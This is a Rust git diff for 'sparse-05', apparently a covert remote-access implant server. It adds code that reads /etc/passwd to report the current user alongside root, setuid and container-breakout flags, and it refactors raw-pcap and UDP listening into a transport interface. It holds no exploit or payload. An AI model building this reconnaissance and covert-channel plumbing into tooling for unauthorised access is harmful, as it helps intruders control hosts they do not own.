diff --git a/sparse-05/sparse-05-common/src/lib.rs b/sparse-05/sparse-05-common/src/lib.rs index 5b6d472..f7af970 100644 --- a/sparse-05/sparse-05-common/src/lib.rs +++ b/sparse-05/sparse-05-common/src/lib.rs @@ -76,7 +76,7 @@ pub mod messages { DownloadFileSegment(u64, u64, Vec), } - #[derive(Serialize, Deserialize, Debug)] + #[derive(Serialize, Deserialize, Debug, Clone, Copy)] pub enum TransportType { RawUdp, Udp, @@ -88,6 +88,7 @@ pub mod messages { pub docker_breakout: bool, pub setuid: bool, pub root: bool, + pub userent: Option, pub transport: TransportType, } } diff --git a/sparse-05/sparse-05-server/src/capabilities.rs b/sparse-05/sparse-05-server/src/capabilities.rs index 688d358..2f09161 100644 --- a/sparse-05/sparse-05-server/src/capabilities.rs +++ b/sparse-05/sparse-05-server/src/capabilities.rs @@ -23,6 +23,24 @@ struct cap_user_data_t { inheritable: u32, } +fn get_username(uid: u32) -> anyhow::Result> { + let passwd = std::fs::read_to_string("/etc/passwd")?; + + Ok(passwd.split("\n").find_map(|row| -> Option { + let mut entries = row.split(":"); + + let name = entries.next()?; + entries.next()?; + let euid = entries.next()?.parse::().ok()?; + + if euid == uid { + Some(name.to_string()) + } else { + None + } + })) +} + pub fn get_capabilities() -> anyhow::Result { let mut header = cap_user_header_t { version: 0x20080522, @@ -42,19 +60,22 @@ pub fn get_capabilities() -> anyhow::Result { let docker_container = false; let docker_breakout = false; - let root = unsafe { libc::getuid() } == 0; + let uid = unsafe { libc::getuid() }; + let root = uid == 0; let setuid = data.effective & CAP_SETUID != 0; let transport = if data.effective & CAP_NET_RAW != 0 || root { TransportType::RawUdp } else { TransportType::Udp }; + let userent = get_username(uid)?; Ok(Capabilities { docker_container, docker_breakout, setuid, root, + userent, transport, }) } diff --git a/sparse-05/sparse-05-server/src/interface.rs b/sparse-05/sparse-05-server/src/interface.rs index f0546c6..4488d22 100644 --- a/sparse-05/sparse-05-server/src/interface.rs +++ b/sparse-05/sparse-05-server/src/interface.rs @@ -1,26 +1,88 @@ -use std::{net::UdpSocket, sync::Arc}; +use std::{ + net::{Ipv4Addr, SocketAddrV4, UdpSocket}, + sync::Arc, +}; + +use anyhow::{anyhow, bail}; + +use pcap_sys::packets::{self, EthernetPkt}; +use sparse_05_common::messages::TransportType; pub enum Interface { - RawUdp(pcap_sys::Interface), - Udp(UdpSocket), + RawUdp(pcap_sys::Interface, u16), + Udp(UdpSocket, u16), } impl Interface { - pub fn split(self) -> (InterfaceSender, InterfaceReceiver) { + pub fn new(ttype: TransportType, port: u16) -> anyhow::Result { + match ttype { + TransportType::RawUdp => { + let mut interfaces = pcap_sys::PcapDevIterator::new()?; + let interface_name = interfaces + .find(|eth| eth.starts_with("eth") || eth.starts_with("en")) + .ok_or(anyhow!("could not get an ethernet interface"))?; + + let mut interface = loop { + macro_rules! retry { + ($e:expr) => {{ + match $e { + Ok(res) => res, + Err(e) => { + eprintln!( + "unable to open interface, sleeping for one second... ({:?})", + e + ); + std::thread::sleep(std::time::Duration::from_millis(1000)); + continue; + } + } + }}; + } + + let mut interface = retry!(pcap_sys::Interface::::new( + &interface_name + )); + + retry!(interface.set_buffer_size(8192)); + retry!(interface.set_non_blocking(false)); + retry!(interface.set_promisc(false)); + retry!(interface.set_timeout(10)); + + let mut interface = retry!(interface.activate()); + + retry!(interface.set_filter(&format!("inbound and port {port}"), true, None)); + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not properly support ethernet"); + } + + break interface; + }; + + Ok(Interface::RawUdp(interface, port)) + } + TransportType::Udp => Ok(Interface::Udp( + UdpSocket::bind(&format!("0.0.0.0:{port}"))?, + port, + )), + } + } + + pub fn split(self) -> anyhow::Result<(InterfaceSender, InterfaceReceiver)> { match self { - Self::RawUdp(interface) => { + Self::RawUdp(interface, port) => { let arc = Arc::new(interface); - ( + Ok(( InterfaceSender::RawUdp(Arc::clone(&arc)), InterfaceReceiver::RawUdp(arc), - ) + )) } - Self::Udp(interface) => { - let other = interface.try_clone().unwrap(); - ( + Self::Udp(interface, port) => { + let other = interface.try_clone()?; + Ok(( InterfaceSender::Udp(interface), - InterfaceReceiver::Udp(other), - ) + InterfaceReceiver::Udp(other, port), + )) } } } @@ -31,7 +93,70 @@ pub enum InterfaceSender { Udp(UdpSocket), } +impl InterfaceSender { + pub fn sendpacket(&self, packet: EthernetPkt) -> anyhow::Result<()> { + match self { + Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?), + Self::Udp(interf) => { + use pcap_sys::packets::*; + let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + + let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport()); + + interf.send_to(udp_pkt.get_data(), addr)?; + + Ok(()) + } + } + } +} + pub enum InterfaceReceiver { RawUdp(Arc>), - Udp(UdpSocket), + Udp(UdpSocket, u16), +} + +impl InterfaceReceiver { + pub fn listen(&self, f: F) -> anyhow::Result<()> + where + F: Fn(packets::EthernetPacket) -> anyhow::Result<()>, + { + match self { + Self::RawUdp(interf) => interf.listen( + move |_, packet| { + (f)(packet.to_owned()); + Ok(false) + }, + false, + -1, + ), + Self::Udp(interf, port) => loop { + use pcap_sys::packets::*; + + let mut buf = [0u8; 2000]; + + let Ok((count, from)) = interf.recv_from(&mut buf) else { continue; }; + + let udp_packet = UDPPacket::construct(from.port(), *port, &buf[..count]); + let ip_packet = IPv4Packet::construct( + match from.ip() { + std::net::IpAddr::V4(a) => a, + std::net::IpAddr::V6(_) => continue, + }, + Ipv4Addr::new(0, 0, 0, 0), + &Layer4Packet::UDP(udp_packet), + ); + let ether_packet = EthernetPacket::construct( + [0, 0, 0, 0, 0, 0], + [0, 0, 0, 0, 0, 0], + &Layer3Packet::IPv4(ip_packet), + ); + + (f)(ether_packet); + }, + }; + + Ok(()) + } } diff --git a/sparse-05/sparse-05-server/src/main.rs b/sparse-05/sparse-05-server/src/main.rs index 005233c..70edd0b 100644 --- a/sparse-05/sparse-05-server/src/main.rs +++ b/sparse-05/sparse-05-server/src/main.rs @@ -37,60 +37,20 @@ fn main() -> anyhow::Result<()> { (port, Arc::new(pubkey)) }; - let mut interfaces = pcap_sys::PcapDevIterator::new()?; - let interface_name = interfaces - .find(|eth| eth.starts_with("eth") || eth.starts_with("en")) - .ok_or(anyhow!("could not get an ethernet interface"))?; - - let mut interface = loop { - macro_rules! retry { - ($e:expr) => {{ - match $e { - Ok(res) => res, - Err(e) => { - eprintln!( - "unable to open interface, sleeping for one second... ({:?})", - e - ); - std::thread::sleep(std::time::Duration::from_millis(1000)); - continue; - } - } - }}; - } - - let mut interface = retry!(pcap_sys::Interface::::new( - &interface_name - )); - - retry!(interface.set_buffer_size(8192)); - retry!(interface.set_non_blocking(false)); - retry!(interface.set_promisc(false)); - retry!(interface.set_timeout(10)); - - let mut interface = retry!(interface.activate()); - - retry!(interface.set_filter(&format!("inbound and port {port}"), true, None)); - - if interface.datalink() != pcap_sys::consts::DLT_EN10MB { - bail!("interface does not properly support ethernet"); - } - - break Arc::new(interface); - }; + let interface = interface::Interface::new(capabilities.transport, port)?; + let (interface_sender, interface_receiver) = interface.split()?; let mut connections: HashMap<(Ipv4Addr, u16), ConnectionHandle> = HashMap::new(); let (send_eth_packet, recv_eth_packet) = channel::(); { - let interface = Arc::clone(&interface); thread::spawn(move || loop { let Ok(packet) = recv_eth_packet.recv() else { continue }; - if let Err(_) = interface.sendpacket(packet.pkt()) {} + if let Err(_) = interface_sender.sendpacket(packet.pkt()) {} }); } - interface.listen(move |_, _| Ok(false), false, -1); + interface_receiver.listen(move |_| Ok(()))?; Ok(()) }